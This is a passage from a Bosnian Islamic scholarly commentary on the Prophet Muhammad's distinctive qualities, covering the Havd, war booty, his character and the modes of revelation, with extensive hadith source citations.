59 Havd je poseban izvor, bazen koji je dat Muhammedu, s.av.s., na Stajalištu prije Sirat ćuprije. Predstavlja rukavac džennetske rijeke Kevser. Slično kao i sa Kevserom, iz Havda će imati čast da se napije samo istinski sunija, tj. onaj koji je slijedio Sunnet (ispravnu praksu) Muhammeda, s.a.v.s. Havd se spominje u brojnim hadisima koje prenosi najmanje 63 ashaba. Izvor (Havd) se u našem jeziku se naziva još i Havz, Havuz. Ova dva naziva su turcizmi.
60 Upućuje na hadise koji govore o Havdu. Hadisi su vjerodostojni (sahih). Prenose ih brojni ashabi: Aiša, Ebu Hurejre, Enes ibn Malik, Abdullah ibn Omer, Abdullah ibn Abbas, Abdullah ibn Mesud, Abdullah ibn Amr ibn As, Džabir ibn Abdullah, Ebu Seid Hudri, Huzejfe ibn Jeman, Ebu Umame Sadijj ibn Adžlan Bahili, Omer ibn Hattab, Ebu Derda’, Zejd ibn Erkam, Ebu Berze Eslemi, Ka'b ibn Udžre, Ebu Bekre, Habbab ibn Erett, Alija ibn Ebu Talib, Hasan, Huzejfe ibn Usejd, Džubejr ibn Mut'im, Sehl ibn Sa'd, Ebu Bekr Siddik, Esma bint Ebu Bekr, Ummu Seleme, Mejmuna, Abdurrahman ibn Avf, Sa'd ibn Vekkas, Usejd ibn Hudajr, Abdullah ibn Zejd, Zejd ibn Sabit, Bera’ ibn Azib, Aiz inb Amr, Havla binz Hakim, Sevban, Utbe ibn Abd Sulemi, Džabir ibn Semure, Ubejj ibn Ka'b, Ebu Zerr, Semure ibn Džundub, Umjer ibn Džundub, Ukbe ibn Amir, Ebu Mualla, Sunabih ibn E'aser Ahmesi, Selman Farisi, Ebu Lejla Ensari, Ammar ibn Jasir, neki čovjek iz plemena Huzaa, Zejd ibn Ebu Evfa, Usame ibn Zejd, Ebu Musa Ešari, Harise ibn Vehb, Džundub ibn Abdullah, Abdurrahman ibn Semure, Mahmud ibn Rebi’, Sufjan ibn Džundub Bedželi, Utbe ibn Abd Sulemi, Jezid ibn Ahnes Sulemi, Irbad ibn Sarije, Lekit ibn Amir, Burejde ibn Husajb, Ubejd ibn Umjer Lejsi. Donosimo jednu od najpoznatijih verziju hadisa o Havdu koju bilježi Buhari u Sahihu od Abdullaha ibn Amr ibn Asa, r.a: Moj Havd (Izvor) je dug mjesec dana hoda. Voda mu je bjelja od mlijeka. Njegov miris je ljepši od miska, a njegovi pehari poput zvijezda nebeskih. Ko se napije iz njega, neće više nikada ožednjeti. Hadise o Havdu bilježe u svojim hadiskim zbirkama sljedeći pisci: Ma'mer ibn Rašid u Džami’ (br. 19908, 20719, 20852-20854); Malik u Muvetti po rivajetu Jahje ibn Jahje Lejsija (br. 58, 463); Ismail ibn Džafer u Hadisima (br. 261); Ebu Davud Tajalisi u Musnedu (br. 712, 1088, 2081, 2105, 2249, 2335); Abdurrezzak u Musannefu (br. 5243, 6423, 6424); Humejdi u Musnedu (br. 151, 158, 797, 798); Kasim ibn Sellam u Tuhuru (El-Kasim ibn Sellam, Et-Tuhur, Mektebe Es-Sahabe, Džidda, 1994, br. 30, 33); Nuajm ibn Hammad u Fitenu (Nuajm ibn Hammad, El-Fiten, Mektebe Et-Tevhid, Kairo, 1991/92, br. 200, 416, 460); Ibn Dža'd u Musnedu (br. 85, 1123, 2711); Ibn Ebu Šejbe u Musnedu (br. 97, 110, 135, 235, 460, 475, 508, 517, 930), Musannefu (br. 11364, 29787, 29889, 31655-31660, 31663-31673, 31679-31682, 31687, 31688, 32086, 32368, 32369, 34097, 34102-34104, 34309, 34312, 36953, 37001, 37037, 37172, 37177, 37177, 37178, 37180, 37355); Ishak ibn Rahevejh u Musnedu (br. 56, 57, 403, 2002); Ahmed ibn Hanbel u Musnedu (br. 15, 2327, 3639, 3787, 3812, 3850, 3866, 4042, 4180, 4332, 4351, 4723, 5702, 6079, 6162, 6181, 6514, 6872, 7075, 7223, 7955, 7968, 7993, 8239, 8885, 9154, 9214, 9292, 9641, 9856, 10008, 10030, 10837, 10899, 11003, 11004, 11131, 11138, 11211, 11547, 11561, 11591, 12362, 12418, 12696, 12749, 12825, 13261, 13294, 13347, 13353, 13405, 13406, 13991, 14441, 14719, 15120, 15121, 15284, 16470, 17344, 17397, 17402, 17642, 18126, 18582, 18809-18811,18813, 19069, 19083-19085,19092, 19094, 19266, 19268, 19291,19309, 19321, 19340, 19763, 19779, 19804, 19807, 19814, 20421, 20494, 20507, 20805, 20830, 21074, 21327, 21348, 21578, 21654, 22156, 22367, 22409, 22426, 22430, 22447, 22822, 22873, 23260, 23290, 23317, 23336, 23337, 23393, 23497, 23801, 23987, 24901, 26546, 27218, 27315, 27317), Fedail es-sahabe (br. 21, 154, 177, 236, 871, 990, 1032, 1127, 1157, 1382, 1383, 1403, 1449, 1458); Abd ibn Humejd u Musnedu (br. 240, 266, 370, 751, 902, 962, 984, 1136, 1211); Darimi u Sunenu (br. 78); Buhari u Sahihu (br. 1196, 1344, 1888, 2367, 3147, 3163, 3596, 3792-3794, 4042, 4085, 4330, 4331, 6426, 6575-6577, 6579-6583, 6585-6593, 7048-7051, 7335, 7441); Muslim u Sahihu (br. 604-608, 921, 922, 2483-2485, 2493, 3436, 4815, 4816, 4885-4887, 6106, 6108, 6111-6143, 6346); Fakihi u Ahbar Mekke (br. 1962); Ibn Madždže u Sunenu (br. 3057, 3944, 4301-4306); Ebu Davud u Sunenu (br. 4745, 4746, 4749); Tirmizi u Sunenu (br. 614, 614, 2189, 2259, 2433, 2442-2445, 3670, 3788); Haris u Musnedu (br. 205, 321, 400, 618, 980, 1128); Ibn Ebu Asim u El-Ahad ve el-mesani (br. 459, 1454, 1732-1734, 2065, 2279, 2540, 2541, 2707, 2932, 3267-3269), Kitab es-sunne (br. 698-776, 812, 949, 1465, 1548, 1549, 1553-1555); Bezzar u Musnedu (br. 76, 204, 1050, 1289, 1432, 1534, 1685, 1709, 1710, 1757, 2435, 2462, 2462, 2832-2834, 2911, 2975, 3168, 3465, 3849, 3851, 3860, 3960, 4112, 4167, 4190, 4325, 4335, 4346, 4381, 4496, 4506, 4879, 5110, 5536-5538, 5950, 6215, 6302, 6303, 6337, 6655, 6659, 7030, 7034, 7526, 8134, 8188, 8300, 8322, 8993, 9747); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 897, 898); Mervezi u Musnedu Ebu Bekra (br. 15, 19); Ibn Mubarek u Musnedu (br. 237, 249); Nesai u Sunenu (br. 150, 4207, 4208, 5383), Es-Sunen el-kubra (br. 143, 4084, 5901, 7782, 7783, 8092, 8277, 8286, 8287, 8410, 8705, 11396); Ebu Ja'la u Musnedu (br. 56, 57, 859, 1021, 1027, 1028, 1140, 1155, 1238, 1454, 1525, 1748, 2216, 2458, 2761, 3115, 3197, 3355, 3587, 3594, 3942, 3951, 4099, 4455, 4797, 5168, 5199, 6502, 6771, 7214, 7443, 7461, 7467, 7478), Mu'džemu (br. 169, 176); Ruvejani u Musnedu (br. 50, 161, 179, 180, 341, 607, 608, 618, 653, 773, 953, 969, 1013, 1022, 1053, 1094, 1316); Dulabi u El-Kuna ve el-esma’ (br. 431, 1557, 2041); Ebu Bekr ibn Hallal u Sunnetu (br. 464); Ibn Huzejme u Sahihu (br. 6, 1887); Serradž u Hadisu (br. 151, 2546): Ebu Avane u Mustahredžu (br. 358-362, 443, 4019, 6997, 6998, 7150, 7151); Tahavi u Muškil el-asar (br. 42, 409, 1344-1347, 1765, 2873, 2875-2878, 3806, 3807, 4599, 6064, 60659; Haraiti u Mesavi’ el-ahlak (El-Haraiti, Mesavi’ el-ahlak, br. 274, 275), Mekarim el-ahlak (br. 116); Šaši u Musnedu (br. 516-519, 534, 658, 1000); E'arabi u Mu'džemu (br. 248, 682, 705, 1298, 1643, 1957, 2359); Ebu Bekr Šafija u Gajlanijjatima (br. 63-66, 258, 419, 632, 927); Ibn Hibban u Sahihu (br. 279, 282-285, 1046, 1723, 3198, 3224, 3750, 4514, 5985, 6445-6459, 6576, 6593, 7239-7241, 7275-7278); Aždurri u Šerijatu (br. 822-838, 1088, 1096, 1118, 1702, 1703, 1706, 1836, 1837); Taberani u El-Mu'džem el-kebir (br. 554, 952, 1438, 1444, 1689-1695, 1807, 1808, 2003, 2677, 2679, 2680, 2682, 2684, 2728, 2759, 2901, 3021, 3053, 3263, 3628, 3696, 4927-4929, 4976-4978, 4987-4989, 5004-5008, 5153, 5770, 5793, 5844, 5904, 6007, 7069, 7430-7432, 7562, 7648, 10037, 10424, 10431, 10975, 11271, 11557, 12127, 12538, 13158, 13190, 14000, 14001, 14455-14458, 15342, 15883, 15965-15969, 15980, 15981, 15988, 15989, 16015, 16026, 16028, 16031, 16147, 19613, 19949, 20272), El-Mu'džem el-evsat (br. 188, 396, 397, 402, 720, 733, 749, 764, 852, 1025, 1029, 2297, 2405, 2714, 2730, 2874, 2876, 3384, 3439, 3542, 3891, 4035, 4204, 4309, 4480, 4880, 4902, 5024, 5153, 5651, 6034, 6295, 6444, 7171, 7675, 7760, 7777, 8491, 8714, 8887, 9000, 9029, 9070), El-Mu'džem el-sagir (br. 363, 376, 430, 625, 720, 1014, 1027), Ed-Dua (br. 1188, 1199), Musned Eš-Šamijjin (br. 95, 802, 904, 954, 1140, 1206, 1242, 1405, 1411, 1413, 1593, 1625, 1697, 1708, 1849, 1902, 1968, 2359, 2617, 2647, 2660, 2860, 2920, 2981, 3342); Taberi u Tehzib el-asar (br. 1969); Ebu Fadl Zuhri u Hadisu (br. 694); Ibn Mukri’ u Mu'džemu (br. 962, 995, 1034); Dževheri u Musnedu Muvette (br. 324, 618); Ibn Šahin u Tergibu (br. 528), Šerh mezahib Ehli es-sunne (Ibn Šahin, Šerh mezahib Ehli es-sunne, Muessese Kurtuba, Kairo, 1995, br. 44, 111); Darekutni u Sunenu (br. 4606); Ebu Tahir Muhallis u Muhallisijjatima (br. 649, 1076, 1091, 1177, 1423, 1476, 2432, 3007); Ibn Mende u Imanu (br. 1073-1076); Hakim u Mustedreku (br. 255-265, 319, 2559, 3385, 3812, 4576, 4628, 4662, 4669, 4711, 5935, 6030, 6958, 6974, 7162, 7163, 7258, 7259, 7374, 7756, 7891, 8302); Temam u Fevaidu (br. 268, 387, 573, 574, 1008, 1051, 1151, 1246); Begavi u Šerh es-sunne (br. 89, 90, 1157, 2099-2120, 2220); Ebu Nuajm u Musnedu (br. 579, 581-583, 888, 2360-2362, 2368, 3213), Tesbit el-imame ve tertib el-hilafe (Ebu Nuajm, Tesbit el-imame ve tertib el-hilafe, Mektebe El-ulum ve el-hikem, Medina, 1987, br. 116), Hilje el-evlija’ (sv. 1, str. 196, sv. 4, str. 78, 238, sv. 6, str. 209, 238, 249, 255-258, sv. 8, str. 186, 247, sv. 9, str. 64, 324, sv. 10, str. 211), Fedail el-hulefa’ er-rašidin (Ebu Nuajm,Fedail el-hulefa’ er-rašidin, Dar El-Buhari, Medina, 1997, br. 46); Dani u Sunenu (Ed-Dani, Es-Sunen el-varide fi el-fiten ve gavailiha ve es-saa ve ešratuha, Dar El-Asime, Rijad, 1995/96, br. 11, 79); Kadai u Musned Eš-Šihab (br. 330, 331, 1130); Bejheki u Es-Sunen el-kubra (br. 338, 6809, 6810, 7209, 10281, 12934, 12944, 13181, 16627, 16668, 16669, 20337), Delail en-nubuvve (br. 835, 921, 1199, 1933, 2589, 2643, 2699, 2893, 2913, 3106), Adabu (br. 300), El-Esma’ ve es-sifat (br. 350); El-Ba's ve en-nušur (br. 119-121, 131-160, 274), Ed-Da'vat el-kebir (br. 532); El-Kada’ ve el-kader (br. 426), Šu'b el-iman (br. 354, 1041, 2488, 3850, 5378, 5383, 8712, 8950-8952, 9281, 9910, 9915, 916, 10003), Ma'rife es-sunen ve el-asar (br. 737, 5620, 16522); Begavi u Šerh es-sunne (br. 151, 452-454, 2029, 3818, 3822, 3823, 3882, 3913, 3914, 3973, 3974, 4340, 4342, 4344, 4345); Kadi-l-Maristan u Mešihi (br. 280); Ibn Asakir u Mu'džemu (br. 69, 470, 720, 761, 808, 1026, 1459, 1519); Tujuri u Tujurijjatima (br. 1068) i dr.
23., 24. I 25. VID
23. Među njima jeste njegov rijek: Mi smo zadnji, prvi61- zadnji vremenski (zemanom), a prvi vrlinama i odlikama.
24. Među njima jeste da mu je dozvoljen (ohalaljen) plijen, a ne bijaše dozvoljen nikome prije njega.62 Redovi (saffovi) njegovog ummeta su učinjeni kao redovi meleka, zemlja mu je učinjena mesdžidom (mjestom za sedždu), a njena prašina čistom.63 Ovakve posebnosti upućuju na visoki položaj i blagost prema njegovom ummetu.
25. Među njima jeste da je Uzvišeni Allah pohvalio njegovu ćud (ahlak) kada je rekao: Jer ti si, doista najljepše ćudi.64 Velikansko veličanje nečega upućuje na izvanrednu veličinu dotičnog. Ta, šta je tek sa veličanjem Najvećeg Velikana?
OBRADA I KOMENTAR:
61 Radi se o jednoj od inačica hadisa Poslanika, s.a.v.s., koji je spomenut u 17. vidu, a čiji smo tahridž obradili u bilješci br. 50. Stoga, spomenut ćemo samo tahridž ove verzije: Mi smo zadnji, prvi na Sudnjem danu. Prenosi je Ebu Hurejre, r.a. Bilježe je u svojim hadiskim zbirkama sljedeći autori: Buhari u Sahihu (br. 238, 2956, 6624, 6687, 7036, 7495); Bezzar u Musnedu (br. 9671); Ebu Avane u Mustahredžu (br. 6031, 7093); Begavi u Šerh es-sunne (br. 2477); Ibn Asakir u Mu'džemu (br. 1101) i dr.
62 Ova stavka upućuje na hadis Božijeg poslanika, s.a.v.s. koji u jednoj svojoj verziji, koju bilježi Buhari u Sahihu od Džabira ibn Abdullaha, r.a., glasi: Dato mi je pet stvari, koje nisu date nikom prije mene. Potpomognut sam strahom na mjesec dana hoda. Zemlja mi je učinjena mesdžidom (mjestom za sedždu) i čistom, tako da kada bilo kojeg čovjeka iz mog ummeta zadesi namaz, neka klanja. Dozvoljen mi je plijen, a bijaše dozvoljen nikom prije mene. Dat mi je šefat (zauzimanje). Bijaše vjerovjesnik slat samo svome narodu , a ja sam poslan svim ljudima. Hadis je vjerodostojan (sahih). Prenose ga naredni ashabi: Ebu Hurejre, Džabir ibn Abdullah, Abdullah ibn Abbas, Abdullah ibn Amr ibn As, Ebu Bekr Siddik, Alija ibn Ebu Talib, Ebu Zerr, Ebu Musa Ešari, Ebu Umame Sudejj ibn Adžlan Bahili, Ebu Burde ibn Nijar Belevi. Bilježe ga, između ostalih, sljedeći muhaddisi u svojim zbirkama:Ismail ibn Džafer u Hadisima (br. 249); Ebu Davud Tajalisi u Musnedu (br. 474); Humejdi u Musnedu (br. 975); Ibn Ebu Šejbe u Musannefu (br. 31642-31645, 31650); Ahmed u Musnedu (br. 2742, 7068, 9337, 14264, 19735, 19736, 21299, 21314, 21435); Abd ibn Humejd u Musnedu (br. 641, 1152); Darimi u Sunenu (br. 2510); Buhari u Sahihu (br. 438, 3122); Muslim u Sahihu (br. 1191, 1192, 1195, 4653) Muzeni u Es-Sunen el-me'sure li eš-Šafi’ (El-Muzeni, Es-Sunen el-me'sure li Eš-Šafi’, Dar El-Ma'rife, Bejrut, 1986, br. 185); Tirmizi u Sunenu (br. 1553); Haris u Musnedu (br. 942); Bezzar u Musnedu (br. 656, 4077, 4776, 4901, 4902, 8133, 8674, 9309, 9356, 9518); Ebu Ja'la u Musnedu (br. 6491, 6492); Ruvejani u Musnedu (br. 485); Ebu Bekr ibn Hallal u Sunnetu (br. 1178); Serradž u Hadisu (br. 289, 292, 293, 300, 303, 304), Musnedu (br. 489, 492, 493, 498-500, 503, 506, 507, 514); Ebu Avane u Mustahredžu (br. 1169, 1173); Tahavi u Šehh muškil el-asar (br. 1023, 1025, 1662, 3532, 3969, 4487-4489); Ibn Hibban u Sahihu (br. 2313, 6398, 6399, 6401, 6403, 6462); Adžurri u Šerijatu (br. 1042, 1046-1048); Taberani u El-Mu'džem el-kebir (br. 6690, 7947, 8017, 11069, 11107, 13556), El-Mu'džem el-evsat (br. 4586, 7471); Taberi u Tehzib el-asar (br. 2768); Ebu Tahir Muhallis u Muhallisijjatima (br. 474, 2258); Hakim u Mustedreku (br. 3587); Lalikai u Šerhu (br. 1438-1443, 1448, 1449-1451); Ebu Nuajm u Musnedu (br. 1150, 1153), Hilje el-evlija’ (br. sv. 3, str. 277, sv. 5, str. 177, sv. 8, str. 316); Bejheki u Es-Sunen es-sagir (br. 239), Es-Sunen el-kubra (br. 1017-1019, 1059, 3793, 4264-4267, 17715, 17718), Šu'b el-iman (br. 1403), Delail en-nubuvve (br. 679, 2213, 2215-2217), Ma'rife es-sunen ve el-asar (br. 5075); Begavi u Šerh es-sunne (br. 3617); Kadi-l-Maristan u Mešihi (br. 410); Ibn Asakir u Mu'džemu (br. 547, 548, 919) i dr.
63 Ove tri stavke aludiraju na hadis Vjerovjesnika, s.a.v.s., koji u jednoj svojoj verziji, koju bilježi Muslim u Sahihu od Huzejfe ibn Jemana, r.a., glasi: Odlikovani smo nad ljudima sa tri stvari. Naši redovi (safovi) su učinjeni kao redovi meleka. Sva zemlja nam je napravljena mesdžidom (mjestom sa sedždu), a njena prašina, ukoliko ne nađemo vodu, postaje nam čista. Hadis je vjerodostojan (sahih). Prenosi ga Huzejfe ibn Jeman, r.a. Bilježe ga, između ostalih, sljedeći muhaddisi u svojim zbirkama: Ebu Davud Tajalisi u Musnedu (br. 418); Ibn Ebu Šejbe u Musannefu (br. 31649); Muslim u Sahihu (br. 1193, 1194); Bezzar u Musnedu (br. 2845); Nesaai u Es-Sunen el-kubra (br. 7968); Ibn Huzejme u Sahihu (br. 263, 264); Serradž u Hadisu (br. 301, 302), Musnedu (br. 505); Ebu Avane u Mustahredžu (br. 874); Tahavi u Šerh muškil el-asar (br. 1024, 4490); Ibn Hibban u Sahihu (br. 1697, 6400); Adžurri u Šerijatu (br. 1044, 1045); Lalikai u Šerhu (br. 1444, 1445); Ebu Nuajm u Musnedu (br. 1152 ); Bejheki u Es-Sunen es-sagir (br. 240), Es-Sunen el-kubra (br. 1022, 1023, 1061), Šu'b el-iman (br. 2178), Delail en-nubuvve (br. 2219), Ma'rife es-sunen ve el-asar (1622-1624) i dr.
64 El-Kalem, 4.
26. VID
Među njima jeste da je Uzvišeni Allah pričao s njim putem različitih oblika objave, i to putem tri oblika:
Prvi: Istiniti snovi.
Drugi: Razgovor bez posredništva.
Treći: Putem Džibrila65, s.a.v.s.66
OBRADA I KOMENTAR:
65 Ako uzmemo u obzir ovo gorespomenuto općenitije klasificiranje vidova objave onda moramo istaći da je autor izostavio tri oblika objave: dolazak drugih meleka pored Džibrila, spuštanje objave u obliku zvonjave zvona i unošenje objave u srce Poslanika, s.av.s. Međutim, ako uzmemo u obzir iscrpnije klasificiranje formi objavljivanja onda govorimo o osam načina na koji je Allahova objava dolazila Muhammedu, s.av.s:
– istiniti snovi,
– silazak objave u obliku zvonjave zvona
– unošenje objave u srce poslanika Muhammeda, s.a.v.s.
– dolazak Džibrila u njegovom stvarnom obliku,
– dolazak Džibrila u ljudskom obliku,
– dolazak drugih meleka pored Džibrila,
– izravan razgovor sa Uzvišenim Allahom bez posredništva,
– izravan razgovor sa Uzvišenim Allahom u snu.
66 Brojni hadisi govore o načinima dolaska Allahove Objave Muhammedu, s.a.v.s. To su, između ostalog, idući:
1) Hadis o prvom vidu objave – istinitim snovima. Hadis glasi u verziji koju bilježi Buhari u Sahihu: Prvo što bi se ukazalo Allahovom poslaniku, s.a.v.s., bijahu istiniti snovi. Sve što bi vidio u snovima dolazilo bi kao jutarnja zora. Zatim mu se omili samoća, tako da bi boravio u pećini Hira, moleći se određeni broj noći… Hadis je vjerodostojan (sahih). Prenosi ga Aiša, r.a. Bilježe ga u njegovim verzijama sljedeći muhaddisi: Ebu Davud Tajalisi u Musnedu (br. 1572); Abdurrezzak u Musannefu (br. 9719); Ahmed u Musnedu (br. 25202, 25959); Buhari u Sahihu (br. 4953, 4955-4957, 6982); Muslim u Sahihu (br. 422-424); Fakihi u Ahbar Mekke (br. 2430); Ebu Avane u Mustahredžu ( br. 328), Ibn Hibban u Sahihu (br. 33); Adžurri u Šerijatu (br .968, 969, 1678); Ibn Mende u Imanu (br. 683, 685); Hakim u Mustedreku (br. 4843); Bejheki u Delail en-nubuvve (br. 445), Lalikai u Šerhu (br. 1408-1410); Ebu Nuajm u Musnedu (br. 405) i dr.
2) Hadis o dolasku objave u obliku zvonjave zvona i njenom dolasku sa melekom u ljudskom obliku. Hadis u verziji koju bilježi Buhari u Sahihu glasi: Od Aiše, r.a., majke vjernika, da je Haris ibn Hišam upitao Allahovog poslanika, s.a.v.s: Allahov poslaniče, kako ti dolazi objava? Allahov poslanik, s.a.v.s., mu odgovori: Ponekad mi dolazi kao zvonjenje zvona, i to mi je nateže. Kada se prekine, ja bih već zapamtio ono što rečeno. Ponekad mi se melek ukaže u liku čovjeka, pa bi mi govorio, a ja bih pamtio što kaže. Hadis je vjerodostojan (sahih). Prenosi ga Aiša, r.a. Bilježe ga sljedeći muhaddisi: Maliku u Muvetti po rivajetu Jahje ibn Jahje Lejsija (br. 475); Humejdi u Musnedu (br. 258); Ishak ibn Rahevejh u Musnedu (br. 754); Ahmed u Musnedu (br. 25252, 25253, 26199); Abd ibn Humejd u Musnedu (br. 1488); Buhari u Sahihu (br. 2, 3215); Muslim u Sahihu (br. 6205); Tirmizi u Sunenu (br. 3634); Nesai u Es-Sunen el-kubra (br. 1007, 1008, 7925, 11063), Sunenu (br. 933, 934); Ibn Hibban u Sahihu (br. 38); Adžurri u Šerijatu (br. 985, 986); Taberani El-Mudžem el-kebir (br. 3344-3347); Dževheri u Musnedu Muvette (br. 743); Mende u Imanu (br. 678-680); Hakim u Mustedreku (br. 5213); Lalikai u Šerhu (br. 1410); Bejheki u Es-Sunen el-kubra (br. 13342), Delail en-nubuvve (br. 2979), El-Esma’ ve es-sifat (br. 426, 437, 602); Begavi u Šerh es-sunne (br. 3737, 3738) i dr.
3) Hadis o Džibrilovom unošenju objave u poslanikovo srce, preciznije hadis o opskrbi. Hadis glasi u verziji koju bilježi Taberani u El-Mu'džem el-kebir od Ebu Umame, r.a: Sveti duh (Džibril) je unio u moje srce da čovjek neće otići s dunjaluka dok mu ne dođe smrtni čas (edžel) i potroši opskrbu (rizk). Budite umjereni u traganju opskrbe. Nemojte da vas sporost opskrbe navede da je tražite kroz nepokornost Allahu, jer Allah, zaista, samo kroz pokornost daje ono što ima. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Abdullah ibn Mesud, Imran ibn Husajn, Huzejfe ibn Jeman, Muttalib ibn Hantab, Ebu Umame Sadijj ibn Adžlan Bahili. Bilježe ga, između ostalog, sljedeći muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 20100); Šafija u Musnedu (br. 1171); Bezzar u Musnedu (br. 2914); Taberani u El-Mu'džem el-kebir (br. 7710); Ebu Nuajm u Hilje el-evlija’ (sv. 10, str. 27); Bejheki u Šu'b el-iman (br. 1141, 9891); Begavi u Šerh es-sunne (4111, 4112) i dr.
4) Hadis o počecima objave preko Džibrila, tačnije hadis o 16-19. ajetu iz sure El-Kijame. Hadis u rivajetu koji bilježi Buhari u Sahihu glasi:Allahov poslanik, s.a.v.s., bijaše se mnogo trudio oko spuštene objave tako da je zbog toga često micao usnama. (Onda je ibn Abbas kazao: “Evo, ja vam mičem usnama kao što Božiji poslanik, s.a.v.s., bijaše njima micao.” I Seid je kazao: “Ja mičem kako sam vidio Ibn Abbasa da ih miče”, pa pokrenu svoje usne.) Tada je Uzvišeni Allah objavio:Ne miči često svojim jezikom da bi ga što prije zapamtio. Na Nama je da ga skupimo i dostupnim za čitanje učinimo. Ibn Abbas je protumačio: “Skupiti ga za tebe u tvojim prsima kako bi ga ti čitao.” Pa kada ti ga čitamo, slijedi njegovo čitanje. Ibn Abbas tumači: “Slušaj ga i šuti. Onda je na Nama da ga pojasnim. Onda je na nama da ti omogućimo da ga čitaš.” Onda bi poslije toga Allahov poslanik, s.a.v.s., ako bi mu dolazio Džibril, slušao. Nakon što bi Džibril odlazio, Vjerovjesnik, s.a.v.s., bi ga čitao onako kako ga ovaj bijaše čitao. Hadis je vjerodostojan (sahih). Prenosi ga Abdullah ibn Abbas, r.a. Bilježe ga sljedeći muhaddisi: Ebu Davud Tajalisi u Musnedu (br. 2750); Humejdi u Musnedu (br. 537, 538); Ahmed u Musnedu (br. 1910, 3191); Buhari u Sahihu (br. 5, 4927-4929, 5044, 7524); Muslim u Sahihu (br. 1032, 1033); Tirmizi u Sunenu (br. 3329); Bezzar u Musnedu (br. 4976, 4977); Nesai u Sunenu (br. 935), Es-Sunen el-kubra (br. 1009, 11570-11572); Serradž u Musnedu (br. 822-824); Ebu Avane u Mustahredžu (br. 3785, 3786); Ibn Hibban u Sahihu (br. 39); Taberani u El-Mu'džem el-kebir (br. 12326); Ibn Mende u Imanu (br. 689-692); Ebu Nuajm u Musnedu (br. 993-995); Bejheki u Delail en-nubuvve (br. 2984), El-Esma’ ve es-sifat (428), Ma'rife es-sunen ve el-asar (br. 20868); Tujuri u Tujurijjatima (br. 369) i dr.
5) Hadis o dolasku Džibrila u njegovom stvarnom obliku sa objavom, preciznije hadis o spuštanju prvih pet ajeta sure Ikre. Hadis glasi u rivajetu koji bilježi Buhari u Sahihu od Aiše, r.a.: Prvo što bi se ukazalo Allahovom poslaniku, s.a.v.s., bijahu istiniti snovi. Sve što bi vidio u snovima dolazilo bi kao jutarnja zora. Odlazio bi u pećini Hira, moleći se određeni broj noći. Opskrbio bi se za to.Onda bi se vraćao Hatidži, pa bi se ponovo opskrbio za odlazak. Tako je radio sve dok mu nije došla Istina, a on bijaše u pećini Hira. Tada mu je došao melek i kazao: “Čitaj!” Vjerovjesnik, s.a.v.s., kazuje: “Ja sam mu onda saopćio: “Ja ne umijem čitati.” Onda me je on uhvatio i stisnuo tako da sam to jedva podnio. Potom me je pustio i kazao: “Čitaj!” Ja sam mu rekao: “Ja ne umijem čitati.” Zatim me je po drugi put uhvatio i stisnuo tako da sam to jedva podnio. Onda me je pustio i kazao: “Čitaj!” Ja sam mu na to saopćio: “Ja ne umijem čitati.” Potom me je uhvatio i stisnuo tako da sam jedva podnio. Onda me je pustio i rekao: Čitaj u ime svoga Gospodara koji stvara, sve dok nije došao do Podučava čovjeka onome što ne zna.” Poslije toga se vratio, a koža između vrata i ramena mu se tresla, pa je ušao kod Hatidže i kazao joj: “Pokrij me, pokrij me!”….Hadis je vjerodostojan (sahih). Prenosi ga Aiša i Ubejd ibn Umjer Lejsi među ashabima, te Ebu Seleme ibn Abdurrahman ibn Avf, Abdullah ibn Šeddad ibn Had, Ikrime, Hasan ibn Ebu Hasan među tabiinima. Bilježi ga, između ostalih, sljedeći muhaddisi: Ebu Davud Tajalisi u Musnedu (br. 1643, 1793); Abdurrezzak u Musannefu (br. 9719); Ibn Ebu Šejbe u Musannefu (br. 36554); Ishak ibn Rahevejh u Musnedu (br. 840, 1689); Ahmed u Musnedu (br. 15214, 25959); Buhari u Sahihu (br. 3, 4922, 4924, 4953, 6982); Muslim u Sahihu (br. 422); Fakihu u Ahbar Mekke (br. 2420, 2430); Haris u Musnedu (br. 928); Nesai u Es-Sunen el-kubra (br. 11568); Ebu Ja'la u Musnedu (br. 1948, 1949); Serradž u Hadisu (br. 2682, 2683); Ebu Avane u Mustahredžu (br. 328, 332, 335); Ibn Hibban u Sahihu (br. 33-35); Adžurri u Šerijatu (br. 969, 970, 1678); Ibn Mende u Imanu (br. 681, 683, 685, 687, 688); Hakim u Mustedreku (br. 4843); Lalikai u Šerhu (br. 1408, 1409); Ebu Nuajm u Musnedu (br. 405-407); Bejheki u Es-Sunen el-kubra (br. 13334, 17721, 17724), Delail en-nubuvve (br. 445, 447, 450, 451, 459, 460, 462, 490, 498, 3068); Begavi u Šerh es-sunne (br. 3735) i dr.
6) Hadis o dolasku Džibrila u njegovom stvarnom obliku sa objavom, tačnije hadis o spuštanju prvih 19 ajeta sure El-Mudessir. Hadis je vjerodostojan (sahih). Prenose ga Džabir ibn Abdullah i Abdullah ibn Abbas. Bilježe ga sljedeći autori: Ebu Davud Tajalisi u Musnedu (br. 1793, 1799); Ibn Ebu Šejbe u Musannefu (br. 36558); Ahmed u Musnedu (br. 14287, 14288, 14483, 15033, 15035, 15214); Buhari u Sahihu (br. 4, 3238, 4922-4926, 4954); Muslim u Sahihu (br. 425-427); Fakihi u Ahbar Mekke (br. 2381); Tirmizi u Sunenu (br. 3325); Nesai u Es-Sunen el-kubra (br. 11567-11569); Ebu Ja'la u Musnedu (br. 1948, 1949, 2225); Serradž u Hadisu (br. 2682-2684); Ebu Avane u Mustahredžu (br. 329-335); Ebu Bekr Šafija u Gajlanijjatima (br. 447); Ibn Hibban u Sahihu (br. 34, 35); Adžurri u Šerijatu (br. 970); Taberani u El-Mu'džem el-kebir (br. 11272), El-Mu'džem el-evsat (br. 2096); Ibn Mende u Imanu (br. 682, 684, 686-688); Hakim u Mustedreku (br. 2993); Lalikai u Šerhu (br. 1411); Ebu Nuajm u Musnedu (br. 408-412); Bejheki u Es-Sunen el-kubra (br. 13335, 17722), Delail en-nubuvve (br. 446, 449, 460, 461) i dr.
